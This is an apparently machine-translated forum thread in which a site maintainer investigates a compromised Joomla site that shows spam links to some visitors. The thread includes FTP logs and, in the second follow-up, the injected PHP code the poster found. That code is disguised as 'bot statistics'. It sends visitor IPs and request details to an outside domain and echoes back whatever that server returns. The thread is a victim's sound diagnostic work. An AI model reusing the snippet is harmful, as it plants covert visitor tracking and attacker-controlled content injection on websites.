Vedi secondo followup in basso! (Ora con aggiunto vero codice dannoso! ... ish)
Promosso da questa domanda, I ' Ho notato che l'organizzazione di beneficenza studentesca della mia università ha un problema interessante sul loro sito web che finora non sono stato in grado di trovare la causa. (Mi scuso se questo sarebbe meglio su ServerFault, ma non sembra essere qualcosa di sbagliato con il server stesso, più di un problema di malware da qualche parte lungo la linea!)
Il loro sito web, link ha un intero carico di collegamenti porno / malware nella parte inferiore della pagina (sembra che questo a me), ma penso, solo quando lo visualizzi da una connessione a banda larga O2. Se lo visualizzi all'interno della rete dell'università o di un altro ISP, nulla viene visualizzato in fondo e, ovviamente, all'interno delle pagine di amministrazione del CMS, nulla viene visualizzato nel modello o nelle pagine.
Sono sicuro al 99% che il server non si trovi nella rete dell'università, osservando il suo IP (si pensi che sia ospitato da 'A Small Orange'). Non sono sicuramente l'unica persona ad aver visto questo problema, anche se non sono sicuro che sia specifico per un singolo ISP del Regno Unito, O2 Broadband (un amico su un ISP diverso, TalkTalk ha confermato di non vedere nulla). Non ho mai visto nulla di simile prima che non sia stato un semplice caso in cui il server è stato violato e il codice è stato inserito nella pagina.
Apprezzerei qualsiasi idea su percorsi da esaminare per risolvere questo, qualsiasi idea su cosa potrebbe causare questo e qualsiasi altro consiglio!
Grazie.
Bene, ora in followup al precedente (grazie a tutti per il vostro aiuto), ora sono riuscito a convincere la società di web hosting a darmi accesso SSH. Ho scoperto che il file .htaccess è stato modificato e il file .htaccess corrente è il seguente: link , che presumo sia almeno una parte del problema. Da un punto di vista della pulizia (in termini di avanzamento / recupero del sito di nuovo), so che dovrei cancellare l'intero server e ricominciare.
Tuttavia , è un server di hosting condiviso, quindi non posso cancellarlo perché non ho il controllo dell'intero server. Ho segnalato ai webhost che è stato violato e il loro consiglio era:
The account is a shared hosting account, but access is limited to just the account itself. No modifications can be made to the server itself from a user level compromise.
As nothing on the server has been compromised (only your account), the jailshell access provided will be sufficient for you to investigate and clean up this account.
È vero? Posso pulirlo correttamente? Immagino che se usassero una vulnerabilità nel software in esecuzione sul mio sito (cioè Joomla), allora sì, sarà solo la mia parte del server che è stata compromessa. Se tuttavia fosse presente una vulnerabilità nel sistema operativo che il server è in esecuzione, ovviamente l'intero lotto potrebbe essere compromesso: esiste un modo per capire quale potrebbe essere?
In prima dei link: ho visto & leggi tutto questo .
... e ora ho i registri che mostrano cosa hanno fatto:
Thu Feb 02 14:35:46 2012 0 213.5.xxx.xxx 45 /home/durhamdu/__check.html a _ i r durhamdu ftp 1 * c
Thu Feb 02 14:35:49 2012 0 213.5.xxx.xxx 45 /home/durhamdu/public_html/__check.html a _ i r durhamdu ftp 1 * c
Thu Feb 02 14:35:53 2012 0 213.5.xxx.xxx 34957 /home/durhamdu/public_html/libraries/joomla/environment/url.php a _ i r durhamdu ftp 1 * c
Mon Apr 09 04:21:53 2012 0 128.127.xxx.xxx 45 /home/durhamdu/__check.html a _ i r durhamdu ftp 1 * c
Mon Apr 09 04:22:00 2012 0 128.127.xxx.xxx 45 /home/durhamdu/public_html/__check.html a _ i r durhamdu ftp 1 * c
Mon Apr 09 04:22:06 2012 0 128.127.xxx.xxx 1457 /home/durhamdu/public_html/mooving/check.php a _ i r durhamdu ftp 1 * c
Mon Apr 09 04:22:09 2012 0 128.127.xxx.xxx 17986 /home/durhamdu/public_html/mooving/laundro.php a _ i r durhamdu ftp 1 * c
Mon Apr 09 04:22:18 2012 0 128.127.xxx.xxx 52457 /home/durhamdu/public_html/.htaccess a _ i r durhamdu ftp
I file a cui ci si riferisce non sono più lì, ma i link continuano a essere visualizzati e anche se ho cambiato il nome file sospetto .htaccess . Hmm ...
Ok, quindi in secondo followup, ho trovato il codice dannoso, per la tua lettura collettiva:
<?php
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$sReferer = '';
if(isset($_SERVER['HTTP_REFERER']) === true)
{
$sReferer = strtolower($_SERVER['HTTP_REFERER']);
}
$stCurlHandle = NULL;
if(!(strpos($sUserAgent, 'google') === false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true) // Create bot analitics
$stCurlHandle = curl_init('http://webdefense1.net/Stat/StatJ/Stat.php?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']).'&ref='.urlencode($sReferer));
} else
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true) // Create bot analitics
$stCurlHandle = curl_init('http://webdefense1.net/Stat/StatJ/Stat.php?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&addcheck='.'&check='.isset($_GET['look']).'&ref='.urlencode($sReferer));
}
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
$sResult = curl_exec($stCurlHandle);
curl_close($stCurlHandle);
echo $sResult; // Statistic code end
?>
Ovviamente ora lo ho rimosso, e sto per aggiustare l'installazione di Joomla .. grazie per il tuo aiuto a tutti! : -)